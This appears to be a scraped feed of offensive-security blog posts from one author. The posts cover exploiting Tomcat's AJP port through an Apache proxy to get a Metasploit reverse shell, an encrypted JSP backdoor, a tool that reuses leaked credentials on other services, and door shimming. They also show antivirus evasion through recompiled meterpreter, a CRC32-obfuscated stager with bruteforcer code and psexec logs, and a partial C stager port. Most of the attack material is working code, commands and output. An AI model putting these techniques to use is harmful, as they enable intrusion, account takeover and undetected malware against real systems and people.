Quantcast
Channel: general – DiabloHorn
Viewing all 34 articles
Browse latest View live

8009, the forgotten Tomcat port

$
0
0

We all know about exploiting Tomcat using WAR files. That usually involves accessing the Tomcat manager interface on the Tomcat HTTP(S) port. The fun and forgotten thing is, that you can also access that manager interface on port 8009. This the port that by default handles the AJP (Apache JServ Protocol) protocol:

What is JK (or AJP)?

AJP is a wire protocol. It an optimized version of the HTTP protocol to allow a standalone web server such as Apache to talk to Tomcat. Historically, Apache has been much faster than Tomcat at serving static content. The idea is to let Apache serve the static content when possible, but proxy the request to Tomcat for Tomcat related content.

Also interesting:

The ajp13 protocol is packet-oriented. A binary format was presumably chosen over the more readable plain text for reasons of performance. The web server communicates with the servlet container over TCP connections. To cut down on the expensive process of socket creation, the web server will attempt to maintain persistent TCP connections to the servlet container, and to reuse a connection for multiple request/response cycles

It’s not often that you encounter port 8009 open and port 8080,8180,8443 or 80 closed but it happens. In which case it would be nice to use existing tools like metasploit to still pwn it right? As stated in one of the quotes you can (ab)use Apache to proxy the requests to Tomcat port 8009. In the references you will find a nice guide on how to do that (read it first), what follows is just an overview of the commands I used on my own machine. I omitted some of the original instruction since they didn’t seem to be necessary.

(apache must already be installed)
sudo apt-get install libapach2-mod-jk
sudo vim /etc/apache2/mods-available/jk.conf
	# Where to find workers.properties
	# Update this path to match your conf directory location
	JkWorkersFile /etc/apache2/jk_workers.properties
	# Where to put jk logs
	# Update this path to match your logs directory location
	JkLogFile /var/log/apache2/mod_jk.log
	# Set the jk log level [debug/error/info]
	JkLogLevel info
	# Select the log format
	JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
	# JkOptions indicate to send SSL KEY SIZE,
	JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories
	# JkRequestLogFormat set the request format
	JkRequestLogFormat "%w %V %T"
	# Shm log file
	JkShmFile /var/log/apache2/jk-runtime-status
sudo ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.conf
sudo vim /etc/apache2/jk_workers.properties
	# Define 1 real worker named ajp13
	worker.list=ajp13
	# Set properties for worker named ajp13 to use ajp13 protocol,
	# and run on port 8009
	worker.ajp13.type=ajp13
	worker.ajp13.host=localhost
	worker.ajp13.port=8009
	worker.ajp13.lbfactor=50
	worker.ajp13.cachesize=10
	worker.ajp13.cache_timeout=600
	worker.ajp13.socket_keepalive=1
	worker.ajp13.socket_timeout=300
sudo vim /etc/apache2/sites-enabled/000-default 
    JkMount /* ajp13
    JkMount /manager/   ajp13
    JkMount /manager/*  ajp13
    JkMount /host-manager/   ajp13
    JkMount /host-manager/*  ajp13    
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http
sudo /etc/init.d/apache2 restart

Don’t forget to adjust worker.ajp13.host to the correct host. A nice side effect of using this setup is that you might thwart IDS/IPS systems in place since the AJP protocol is somewhat binary, but I haven’t verified this.  Now you can just point your regular metasploit tomcat exploit to 127.0.0.1:80 and take over that system. Here is the metasploit output also:

msf  exploit(tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  tomcat           no        The password for the specified username
   PATH      /manager         yes       The URI path of the manager app (/deploy and /undeploy will be used)
   Proxies                    no        Use a proxy chain
   RHOST     localhost        yes       The target address
   RPORT     80               yes       The target port
   USERNAME  tomcat           no        The username to authenticate as
   VHOST                      no        HTTP server virtual host
   
Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.195.156  yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
   
msf  exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.195.156:4444 
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 1648 bytes as XWouWv7gyqklF.war ...
[*] Executing /XWouWv7gyqklF/TlYqV18SeuKgbYgmHxojQm2n.jsp...
[*] Sending stage (36 bytes) to 192.168.195.155
[*] Undeploying XWouWv7gyqklF ...
[*] Command shell session 1 opened (192.168.195.156:4444 -> 192.168.195.155:39401)

id
uid=115(tomcat6) gid=123(tomcat6) groups=123(tomcat6)

References


Filed under: general, security Tagged: ajp, ajp13, apache, metasploit, proxy, tomcat, war

Cleaning up links

$
0
0

I’ve cleaned up all non-working links on the right, new ones will be added soon. If you think I’ve removed you by mistake please let me know, also let me know if you want me to link to you. Use my email address located on the contact page or reply to this entry.


Filed under: general

Encrypted JSP Shell with signed diffie-hellman key exchange

$
0
0

This is a follow up of my previous JSP Shell post. This JSP shell has the following functionality:

  • Signed Diffie-Hellman key exchange
  • Blowfish Encrypted commands
  • Blowfish Encrypted result

However the way I implemented the crypto part is as far as i know flawed, this because I’ll maybe try to break my own implementation. It’s on my todo list to understand more about cryptographic attacks. To my knowledge the following flaws are present(there are probably more, feel free to point them out in the comments). Thanks to the people of #crypto on freenode for answering my questions and having me realize the flaws listed below:

  • Non-authenticated exchange of encrypted messages
  • The derivation of the Blowfish key from the Diffie-Hellman output isn’t hashed sufficiently

So just to be clear, ONLY the initial key exchange is authenticated using DSA signatures, after which the secret key is established to encrypt the rest of the communication using Blowfish. Let’s take a closer look at the usage and deployment of the shell. If you just want the code, it’s available on my github page. The bin directory contains everything you need for a grab&go usage.

First of all, since the output is encrypted we will be using a custom java client to communicate with the shell. This is also the easiest part to build and the part responsible for the generation of the DSA public/private key pairs.

Let’s compile the client:

java *.java

It will output warnings, you can ignore them. I’ll maybe update the code to remove those warning, but I don’t promise anything. Now let’s generate the DSA public/private key pairs that we need.

java SJSc gen

It should output four files with a “dsa” extension. That’s all there is to it. Before we continue on to the actual  JSP Shell, let me explain a little quirk:

During the implementation of the Diffie-Hellman code I found it easier to keep the analogy of Alice &  Bob visible in the code. Because of that the generated key pairs include alice & bob in their names. Alice is the JSP Client and Bob is the JSP Shell.

To prepare the JSP Shell we need to perform three steps: compile, prepare and package. Before we can do any of those we need a correct WAR directory structure, make sure yours looks as follow:

SJSs/
|– index.jsp
|– src
|        `– sc
|        `– SeComDH.java
`– WEB-INF
|– privatebob.dsa
|– publicalice.dsa
`– web.xml

The “src” directory will be removed from the tree, but for now just leave it there. The only thing that needs compilation is  the “SeComDH.java” file. Due to the way of how JSP works, java files need to be inside a package, thus the whole reason it’s inside a folder named “sc”. Use the following command to compile the file:

javac SeComDH.java

Now you need to adjust your directory structure to look like the one below, I advise creating a new directory with the structure below:

SJSs/
|– index.jsp
`– WEB-INF
|– classes
|     `– sc
|           `– SeComDH.class
|– privatebob.dsa
|– publicalice.dsa
`– web.xml

See my previous post to know what goes inside web.xml. In case you didn’t notice, we copied the public key from alice (client) and the private key from bob (shell) to the WEB-INF directory. Now that we have compiled the src and prepared the package, let’s create the actual WAR file:

jar cvf shell.war -C SJSs/ .

If everything went as planned, you now have a WAR file which you can for example upload to tomcat. When deployed you can use the client as follow to talk with the shell:

java SJSc http://localhost:8080/shell/ enc

Just make sure that the appropriate “.dsa” files are in the same directory. If you dislike the shell you can reuse the SeComDH.java class for your own JSP shell. It isn’t exactly OO but it should suffice for most situations where you want to protect the communication with your JSP backdoor. Maybe I’ll create a small bash script to automate the whole process, but meh… it isn’t that much work to do it manually, and you just need to it one time. Thereafter you can just generate new key pairs and replace the old ones etc.

For the ones curious, this is how it looks like on the wire(“[...]” represents the rest of the data, didn’t want to spam this post with random hex):

Key Exchange:

GET /shell/?e=yeah&dp=308201a53082011a06[...]&s=302d02150088c0a[...] HTTP/1.1
User-Agent: Java/1.6.0_26
Host: localhost:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=3A178ECB35C6DF9B8645D0485D12C7F1; Path=/shell
Content-Type: text/html
Content-Length: 954
Date: Thu, 19 Jan 2012 00:20:26 GMT

308201a630[...];302c0214266b[..]

Sending a command and receiving it’s output:

GET /shell/?t=318c1e300239e062&i=917a2c3f156d7e7e HTTP/1.1
Cookie: JSESSIONID=3A178ECB35C6DF9B8645D0485D12C7F1
User-Agent: Java/1.6.0_26
Host: localhost:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Length: 74
Date: Thu, 19 Jan 2012 00:20:34 GMT

ae6262daaf1a4612[...]


Filed under: general, security Tagged: backdoor, blowfish, cryptography, diffie-hellman, dsa, encrypted commands, encrypted messages, java, JSP, shell, signing

Credential Scavenger

$
0
0

Just because it’s discarded it doesn’t mean it’s useless. Nowadays it doesn’t really matter which Google dork you use, but you’ll always hit some username/password dump. There are some nice tools out there to monitor pastebin (or any of the alternatives) for example:

But then what? you scraped/monitored or just F5′ed the website and are now sitting on a nice pile of potentially interesting information. You could of course try it out and see if it contained any working samples…chances are those are long gone by now. Luckily for us, we all know that people tend to reuse their password on multiple websites. So all we have to do is check their username on multiple (known) services and see if they have forgotten to change their password on any of them. Since it’s been a while that I’ve coded in python I decided to use python for the job. After all it seemed like fun to write something that could maybe remotely resemble a framework-thingie. It was easier then I thought, had to rewrite it a couple of times though due to poor design choices. Not saying it’s great now, but at least it seems to be able to perform all the tasks I’d like to have.

Now since this is just a POC for an idea, it’s non optimized, non threaded and non-usable for serious harvesting and testing of large amounts of data. Remember that in most countries it’s illegal to use someone else his credentials. For the development I’ve just created some testing accounts and tested it on them to see if the idea was viable and produced any results.
The core of the whole thing is like a couple of lines to dynamically load up the module classes:

def loadmodules(modulepath,configfile):
    """load modules & create class instances, returns a dictionary.

    Return dictionary is of the form: 
        :
    """
    ccc = parseconfig(configfile)
    loadedmodules = dict()
    for key in ccc:
        modulefilename = key
        if not key in loadedmodules:
            #load the module based on filename
            tempmodule = imp.load_source(modulefilename, "%s%s.py" % (modulepath,modulefilename))
            #find the class
            moduleclass = getattr(tempmodule,modulefilename.title())
            #instantiate the class
            moduleinstance = moduleclass()
            loadedmodules[key] = moduleinstance
    return loadedmodules

Then some basic ‘library’ functionality is provided on per protocol basis, at the moment it includes some ‘libs’ for imap, pop3 and HTTP forms and a small module for some sqlite DB operations. The whole thing can then be used  as one pleases, either by building on top of it or by using the provided ‘simple_scavenger.py’ example. When you run the provided example it, it provides output on the CLI:

./simple_scavenger.py ../creds.txt 
{'hotmail': ['usernamehere', 'passwordhere', 'pop3'], 'yahoo': ['usernamehere', 'passwordhere', 'imap']}
{'linkedin': ['usernamehere', 'passwordhere', 'httpform'], 'gmail': ['usernamehere', 'passwordhere', 'imap']}

and stores it in the DB for easy retrieval:

sqlite3 creds.db "select * from creds"
usernamehere|passwordhere|pop3|hotmail|1353450068
usernamehere|passwordhere|imap|yahoo|1353450068
usernamehere|passwordhere|httpform|linkedin|1353450112
usernamehere|passwordhere|imap|gmail|1353450112

That’s all there is to it.

At the beginning of this post I said I’d build it to hopefully be some kind of framework-thingie, so let’s see how you could expand this to authenticate with the given credentials on another service.

I’ve chosen to use the following website to write a login module for Credential Scavenger (credsca): http://leaks-db.hacktalk.net courtesy of connection (has a nice twitter feed). Due to the subject of this entry it seemed fitting :)

So first of all you’ll have to decide what kind of authentication you need to implement and then check if credsca contains a library for it. In this case it does it’s called ‘httpform.py’, since we are going to do the authentication check using the HTTP form provided by the website. Copy/paste the linkedin.py file in the directory modules and name it leaksdbhacktalk.py for example, then change all linkedin references to something you like. Now you basically need to retrieve the following information to be able to build your module:

  • The base url
  • The path to where the loginform posts
  • The formname or id
  • The names of the username/password fields
  • The ‘welcome’ message after successful login
  • The logout link text

The module names should be self-explanatory but just in case, these are the variables/lines that you need to adjust with your values (already includes the correct values):

  • _baseformurl = ‘http://leaks-db.hacktalk.net’
  • _loginformurl = _baseformurl + ‘/node?destination=node’
  • loginform = self.httpform.getformbyid(Leaksdbhacktalk._loginformurl,’user-login-form’)
    • Where ‘user-login-form’ is the ID of the form we want to submit
  • loginform['name'] = username
  • loginform['pass'] = password
  • if ‘My account’ in res:
    • Note it’s case sensitive
  • self.logouturl = Leaksdbhacktalk._baseformurl + self.httpform.getlogout(res,’Log out’)
    • Note it’s case sensitive

Now before you think you are done, you are not. The framework is build on the thought that the user decides how the data is fed to it. This means that the modules will only get preformatted data if the user supplies it. For the moment being I’ve kinda assumed that the data will be in one of the following two formats:

  • username:password
  • emailaddress:password

So to make sure your new module works with these formats add the following to it:

    def prepareusername(self,username):
        luser = username.lower()
        if '@' in luser:
            return luser.split('@',1)[0]
        else:
            return luser

and adjust the call to the login function accordingly. The most important thing however, is that you return the correct username and not the one that your module received or else the output will be useless. If you’ve adjusted everything correctly when you run simple_scavenger.py it should output something like:

{‘leaksdbhacktalk’: ['usernamehere', 'passwordhere', 'httpform']}

That’s all, if everything went as planned the new module is up and running in like 10 minutes and your creds.db is filled accordingly.

credsca is just a POC so for the more serious use of it, you’ll need to modify it according to your wishes. If you only want to check your OWN account every time a new leak occurs you’ll be fine with this version. Just need to add the needed modules for the services you want to check your account against. Source available on github as usual.


Filed under: general, security Tagged: credentials, leaks, passwords, pastebin, python, scavenger

Portable (secure) (pen)test virtual lab

$
0
0

I’ve always wanted like online ‘memo-to-self’ stuff to stop forgetting how to set things up, so I’ve decided to create a category for it. These posts will contain rambling, snippets and links on how to do stuff. Mostly intended for my own use so they won’t contain extensive instructions on every configuration detail.

I’ve always wanted a virtual lab which is easy to bring along and somewhat secure. Just to be clear here are some definitions of the words portable & secure as I see them:

  • Portable
    • easy to transfer
    • minimum amount of files
  • Secure
    • easy to encrypt
    • easy to delete
    • network segmentation
    • central firewall

Secure is a relative term, since it all depends on how much you harden the setup. To achieve the above mentioned points I’ve chosen to use vmware workstation and vmware esxi as the virtualization software. If you ever decide to spend money on software, vmware workstation surely deserves it!

Since this post is partially a little idea on creating a portable lab and partially a reminder for myself, I’ll take a shortcut in explaining how to set it up. Like you all know the internet is full of really nice guides on how to set stuff up, so why duplicate?

Here is the full list of software we will be using and if applicable a link to an installation howto:

Here are some quirks and nice to know commands that I encountered while setting it all up:

vmware esxi – setup quirks

The workstation virtual CPU might not be recognized correctly, this URL provides the needed adjustments for your vmx file which look like this:

cpuid.1.eax = “0000:0000:0000:0001:0000:0110:1010:0100″
cpuid.1.ecx = “0000:0000:1001:1000:1110:0010:0011:1101″
cpuid.1.edx = “1000:1111:1010:1011:1111:1011:1111:1111″
cpuid.7.ebx = “0000:0000:0000:0000:0000:0000:0000:0000″

Registering esxi with the license isn’t like the email tells you you’ll actually have to(courtesy of this thread):

You only have to license the host.  From the vSphere client go to Configuration and then select Licensed Features.  Click Edit and you’ll then get a screen upon which you can enter your license key.

vyatta – setup quirks

  • install system
    • to install the system to the virtual disk
  • configure
    • enter configuration mode
  • commit
    • apply configuration changes
  • save
    • actually write configuration to filesystem
  • show
  • delete <exact line>
  • edit firewall (you need to be in configuration mode)
    • rename name <text> to name <text>
  • NAT masquerade (updated command)
    • set nat source rule <num> translation address masquerade

Firewall example for one segment
Just one example that can be applied to the IN-instance of one interface. You’ll have to apply more rules to the LOCAL and OUT instances and of course to any other interfaces that you use. The goal of course to segment and separate the different networks and only allow the traffic that is really needed.

name in_dev_fw {
     default-action drop
     rule 100 {
         action accept
         destination {
             group {
                 network-group !denied-segments
             }
             port 80,443
         }
         protocol tcp
     }
     rule 200 {
         action accept
         destination {
             group {
                 address-group dns-external
             }
             port 53
         }
         protocol udp
     }
 }

Filed under: general, MemoToSelf Tagged: esxi, lab, pentest, virtual, vmware, workstation

Making your own door opening shims

$
0
0

Not sure if shim is the right word, you’ll probably recognize it better if I call it “opening the door with a creditcard”. If you’ve never heard of it the following website explains it really nice:

http://www.wikihow.com/Open-a-Door-with-a-Credit-Card

I find it rather annoying to break my credit cards or other plastic for that matter on this, so I thought there must surely be a better way. The following shops do have a better solution, namely MICA cards:

So I was on the verge of buying one, when I read the description again:

Gone are the days of cutting up old washing liquid containers! Super Mica card will open just about any retracting sprung & live latchbolt, and will also work where there is little tolerance between door and frame. Will also open some window catches as well as many other uses.

See the bold stuff? Now doesn’t that invite you to just try it out yourself before buying? I’m sure the DIY version is of inferior quality, but hey for just a couple of tries and not spending a single dime that’s pretty sweet. So I followed their advice and grabbed a washing liquid container (or at least what I understood by it):

1

Then I just grabbed two of my favorite cards to shim doors and put them on top to mark the spot I had to cut:

2

I first cut the container in half, since I know I’m kinda bad at doing this kind of stuff, that way I can get two tries. After your cut it all up it will kinda look like the following picture:

3

Well like you can see my cutting skills are not the best, but it’s OK for now. The plastic is a bit flimsy though so I’ll have to pick a container with stronger plastic the next time (or just buy the mica cards and try them out). Anyhow these things are great to carry around in your wallet for when you forget your keys or those times when you are doing social engineering and you discover that the juicy stuff is behind a door which has been pulled shot, but not locked.

Feel free to comment and suggest better stuff to make the shims from.


Filed under: general Tagged: DIY, door, lock bypass, lockpick, open, shim

AV evasion: Recompiling & Optimizing FTW!

$
0
0

Lowering the detection rate of binaries can be done in two mayor ways like we all know:

  • modify the binary
  • modify the source

The first option one has a lot of articles on the internet covering it, so I’ll not be covering it, maybe in the feature. The second one is also a well known one, but not a often used one imo. A lot of people are either afraid of the source, don’t understand it or think they’ll brake it.

So let’s try and take those fears away, specially since it also requires minimal effort & time which can be a real PITA when you need to pwn a company in a couple of hours. Let’s take shellcodeexec as our first example and directly dive into the whole compiling thing. For the ones wondering what it is, Carnal0wnage has a great writeup on how to use it and what it is. You’ll need a compiler, which luckily for use there are tons of. To keep it simple I’ve used Visual Studio Express 2010. It’s a great IDE & Compiler in one and a lot of source just works. After downloading and installing it, here comes the “hard” part:

  • Download the shellcodeexec source
  • Extract it
  • Doubleclick on “shellcodeexec-master\windows\shellcodeexec\shellcodeexec.vcproj”
  • Click “Finish” on the conversion wizard window
  • Change Debug to Release

makerel

  • Then press F7
  • The executable appears in the folder “shellcodeexec-master\windows\Release”

So what do you think, was this enough to evade AV? Let’s have a look:

no-detection

Well that’s fun…a simple recompile lowered the detection rate from  37/46 to 0/46 or to put it simple, it’s now fully undetected. You now might ask, does this always work? Well no, but it sure does lower the detection rates. Let’s have a look at meterpreter for example, what happens when we recompile it?

lazyeasy

That didn’t exactly go as planned did it? On meterpreter it only accomplished:

  • 16/46 (fresh recompile)
  • 6/46 (adjusting to speed optimization)

Still if you are looking for an EASY way to lower the detection rate of your tool, this is pretty nice. Besides being easy it also gives you a lot of freedom to just change the code slightly and probably reach that much desired “fully undetected” goal.

Let’s have a quick look on how to compile meterpreter, just to make sure the internet has another reference on the subject.

All the previous steps still apply, but also make sure to unload the project “ext_server_sniffer”, although the answer can also be easily found by searching for the error. This is kinda all it takes to bring it down to the showed 16/46 from the normal 35/46 that meterpreter is rated when being uploaded for analysis. If you want to lower it further you can adjust the optimization options of the compiler. Depending on the project you want to adjust, the meterpreter one is called “metsrv”, right click on it and choose properties –> configuration properties –>c/c++ –> optimization:

opt

You can play with a lot of them, be careful this is that moment that you can actually break something. I’ve only played with “Optimization” and “Favor size or speed” which was enough to lower the detection rate to 6/46. Sometimes a project also contains dependency which if also modified could lower the detection rate even further. For meterpreter you can view this by right-clicking on the project and choosing “project dependencies”:

deps

We now have accomplished the following with minimal effort & time:

  • Make shellcodeexec FUD
  • Lower the detection rate of meterpreter drastically

We could try and make meterpreter FUD by changing even more compiler / linker options (or even the source itself), but this would require more testing, clicking, uploading and since I need to catch some sleep, I’ll leave that as an excersize for the reader. Hope you have fun recompiling all kind of tools out there and if you run into errors just copy/paste them into google or bing.

References


Filed under: general, security Tagged: av, bypass, meterpreter, psexec, shellcodexec

Hash encapsulation to bypass AV

$
0
0

The previous entry was about lowering detection rates on AV by just simply recompiling and/or optimizing the source. This worked pretty well except for the really known tools like meterpreter. So let’s continue where we left off and make a undetectable executable for psexec purposes. First thing I did was the most obvious thing of course, I followed the shellcodeexec instructions and generated a metasploit alpha-numeric shellcode. Then I adjusted the source of shellcodeexec to incorporate the shellcode instead of passing it as an argument. This however failed miserably and the detection ratio was higher then 6/46. Then it hit me: I had lowered the detection rate on the ‘stage’ part and NOT on the ‘stager’ part. So that means we have to make some more executable code undetected, this time we’ll put a little bit more of effort into it:

FUD

Now that looks pretty sweet doesn’t it? 0/46 seems this time we don’t have to be happy with just lowering the detection rate, we have fully evaded it. Let’s have a look at how we can do this:

The concept of “self brute forcing” was used, but instead of using a cipher like AES, I used hashes. Normally you encrypt the entire payload with a weak key and then upon execution you brute force the key, hyperion is an example of this technique.  It’s pretty bulky still since the entire payload is just one big blob.  So I thought why only brute force the key and not the entire payload? So I modified the already undetected shellcodeexec to contain only hashes of the meterpreter payload. This way it’s a single executable that you can use for all kind of stuff. Don’t forget however that it’s still staged, so with this we are making the ‘stager’ part fully undetectable, but not the actual stage. If you need just one exe without stages have a look at ultimet.

Let’s generate the shellcode that is being detected:

cd /opt/metasploit-4.5.0/app
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=10.50.0.103 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

Which looks like this:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2[...]

That doesn’t look to hard to obfuscate does it? Let’s go at it one step at the time. First we decide what hashing algorithm we want to use. For the POC implementation I went with CRC32 which is fast and the code is small. Then you have to decide how much data you want to brute force, the more data you brute force the longer it takes. So I went for a 3 character brute force. Now that we know all this we can get hands-on and build the obfuscator and then implement the bruteforcer into shellcodeexec. The obfuscator looks like this:

void genhashes(char *s,int len,int steps){
	int i,j;
	char *data = (char *)malloc(steps);
	memset(data,0,steps);

	printf("\n");
	for(i=0;i<len;i+=steps){
		for(j=0;j<steps;j++){
			data[j] = s[i+j];
		}
		printf("%u,",crc32(&data[0],strlen(data)));
	}
	free(data);
}

Like you can see it loops through the string and hashes per the given amount of characters, which are outputted in C array friendly format. So now your payload looks like this:

4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,919810150,[...]

So now that we have the obfuscated payload, let’s build the bruteforcer. First I had hardcoded the for loops, then I did recursive, then i did for loops, then I went back to fully hardcoding all the for loops. Why you ask? Well because of AV detection, since I wrote in the previous blog post about recompiling and having the compiler optimize it. I thought the more code the better :). Because when AV detects something it’s always easier to evade detection when there are enough instructions around then when you just have a few. So in the future this will (hopefully) make it easier to evade AV.

void getplain(uint32_t target,char *result){
	char s[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
	char data[5];
	int i,j,k;

	memset(data,0,5);

	for(i=0;i<62;i++) {
		data[0] = s[i];
		if(target == crc32(&data[0],strlen(data))){
			strcat_s(result,1023,data);
		}
		memset(data,0,4);
		for(j=0;j<62;j++) {
			data[0] = s[i];
			data[1] = s[j];
			if(target == crc32(&data[0],strlen(data))){
				strcat_s(result,1023,data);
			}
			memset(data,0,4);
			for(k=0;k<62;k++) {
				data[0] = s[i];
				data[1] = s[j];
				data[2] = s[k];
				if(target == crc32(&data[0],strlen(data))){
					strcat_s(result,1023,data);
				}
				memset(data,0,4);
			}
		}
	}
}

Our last step it to incorporate the bruteforcer into shellcodeexec which roughly looks like this(payload has been truncated for readability):

int main(int argc, char *argv[])
{
	/*if (argc < 2) {
		printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n");
		exit(-1);
	}*/
	char *temp = (char *)malloc(1024);
	int i,psize;
	uint32_t payload[] = {4152682635,2930860581,2930860581,2930860581,2930860581,2930860581,4135321336,[...]};

	memset(temp,0,1024);
	psize = sizeof(payload)/sizeof(payload[0]);
	make_crc_table();
	for(i=0;i<psize;i++){
		getplain(payload[i],temp);
	}
	sys_bineval(temp);

	exit(0);
}

Now all that’s left is to test it all:

msf exploit(psexec) > exploit

[*] Started reverse handler on 10.50.0.103:4444
[*] Connecting to the server…
[*] Authenticating to 10.50.0.104:445|WORKGROUP as user ‘Administrator’…
[*] Uploading payload…
[*] Using custom executable /tmp/custom.exe, RHOST and RPORT settings will be ignored!
[*] Created \DtJhDjMe.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (CFvtEVBX – “MdWxLNcKsDVbzevOlC”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Sending stage (762880 bytes) to 10.50.0.104
[*] Meterpreter session 11 opened (10.50.0.103:4444 -> 10.50.0.104:49264) at 2013-01-20 18:06:23 +0100
[-] Error: Stream #<Socket:0xdf58a18> is closed.
msf exploit(psexec) >

Uhh what just happened? It seems that something caused our socket to close, since we are lazy people let’s workaround it instead of debugging it. Let’s go for the easy solution and use a meterpreter script to immediately migrate to another process:

msf exploit(psexec) > exploit

[*] Started reverse handler on 10.50.0.103:4444
[*] Connecting to the server…
[*] Authenticating to 10.50.0.104:445|WORKGROUP as user ‘Administrator’…
[*] Uploading payload…
[*] Using custom executable /tmp/custom.exe, RHOST and RPORT settings will be ignored!
[*] Created \DtJhDjMe.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.50.0.104[\svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (CFvtEVBX – “MdWxLNcKsDVbzevOlC”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Sending stage (762880 bytes) to 10.50.0.104
[*] Meterpreter session 11 opened (10.50.0.103:4444 -> 10.50.0.104:49264) at 2013-01-20 18:06:23 +0100
[-] Error: Stream #<Socket:0xdf58a18> is closed.
msf exploit(psexec) >
[*] Session ID 11 (10.50.0.103:4444 -> 10.50.0.104:49264) processing AutoRunScript ‘/opt/metasploit-4.5.0/apps/pro/msf3/scripts/meterpreter/migrate.rb -f’
[*] Current server process: DtJhDjMe.exe (3200)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1176
[+] Successfully migrated to process

msf exploit(psexec) > sessions

Active sessions
===============

Id Type Information Connection
– —- ———– ———-
11 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ VICTIM-PC 10.50.0.103:4444 -> 10.50.0.104:49264 (10.50.0.104)

Well that works as planned and our AV hasn’t seen a thing. So this is all it takes to evade an AV. In case you are wondering I used Microsoft Security Essentials since it was one of the few that actually kept detecting the payload when I tried out minor modifications or encodings. I also tried McAfee Antivirus Plus (trial) but that was a no go, since it didn’t even detect the freshly compiled metsrv.dll.

NOTE: This works fine with hashing per 3bytes, when doing 4bytes the service creation gives a timeout. So you’ll either have to add some service handling code to make sure you don’t get killed halfway the execution or maybe try it out with threads. You could also just spawn a normal cmd.exe for yourself and then execute they payload, you’ll have to use the multi/handler to handle the connect.

Eventually AV will detect this since a lot of the code that performs loops is immediately at the start of the application. The fun part is that since it are all hashes that need to be cracked individually you can spread them out. For example you could build something along these lines:

  • replace crc32 with md5 (note: will be SLOW)
  • Search for files in user home directory
  • Request the google website
  • crack 10% of the hashes
  • Request the timestamp of all the files you have previously found
  • crack 25% of the hashes
  • create a few dummy windows which are invisible to the user
  • crack the remaining 65% of the hashes

Additionally it’s not mandatory that all the hashes are placed in the same array so the dummy calls to the internet could also be useful calls to a website you control and retrieve the hashes from there. You could also put a few hashes hidden in a JPG resource file. The possibilities are endless, use your imagination. I think this method can also be used to make executables (with no source available) undetected, but I haven’t looked into it yet.

I’d like to thank a friendly bystander on IM for listening to all my whining and helping out with the general idea. You can find the hash generator and the hash reverser on my github as usual.

References

http://www.offensive-security.com/metasploit-unleashed/About_Meterpreter

http://eldeeb.net/wrdprs/?page_id=156

http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html

http://www.offensive-security.com/metasploit-unleashed/About_Meterpreter

http://blog.invisibledenizen.org/2008/12/automatic-migration-to-new-process-with.html


Filed under: general, security Tagged: av, bypass, fully undetected, hash, meterpreter

Evade antivirus convert shellcode to c

$
0
0

So another way to have a meterpreter stager bypass AV is to just port the shellcode to C instead of obfuscating it like I explained in my previous article, still assuming psexec like purposes here.

0

Assembly always seems terrifying if you’ve never worked with it previously, but just like all source code it depends on the coder if it really is terrifying. Take for example the shellcode for the meterpreter stages, that’s some neat code and easy to read also thanks to the comments. Let’s take a look at all the asm for the meterpreter/reverse_tcp stager and determine what it does:

Since we are coding in C there is a lot of stuff we don’t need to convert, for example the API resolving is not really needed. So basically what we have to do is:

  • connect to metasploit handler
  • get the second stage
  • execute it in memory

For the impatient ones, here is the C code you can compile and use. For the ones interested on how to compile and use it, read on.

/*
	Author: DiabloHorn http://diablohorn.wordpress.com
	Undetected meterpreter/reverse_tcp stager
	Compile as C
	Disable optimization, this could help you later on
	when signatures are written to detect this. With a bit of luck
        all you have to do then is compile with optimization.

*/
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>

#include "LoadLibraryR.h"
#include "GetProcAddressR.h"

#pragma comment(lib, "ws2_32.lib")

int initwsa();
short getcinfo(char *,char *,int);
SOCKET getsocket(char *);
DWORD WINAPI threadexec(LPVOID);

/* setting up the meterpreter init function */
typedef DWORD (__cdecl * MyInit) (SOCKET fd);
MyInit meterpreterstart;

/* http://msdn.microsoft.com/en-us/library/windows/desktop/ms738545(v=vs.85).aspx */
WSADATA wsa;

/*
	doit
*/
int CALLBACK WinMain(_In_  HINSTANCE hInstance,_In_  HINSTANCE hPrevInstance,_In_  LPSTR lpCmdLine,_In_  int nCmdShow){
	HANDLE threadhandle;
	DWORD  threadid;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	char szPath[MAX_PATH];

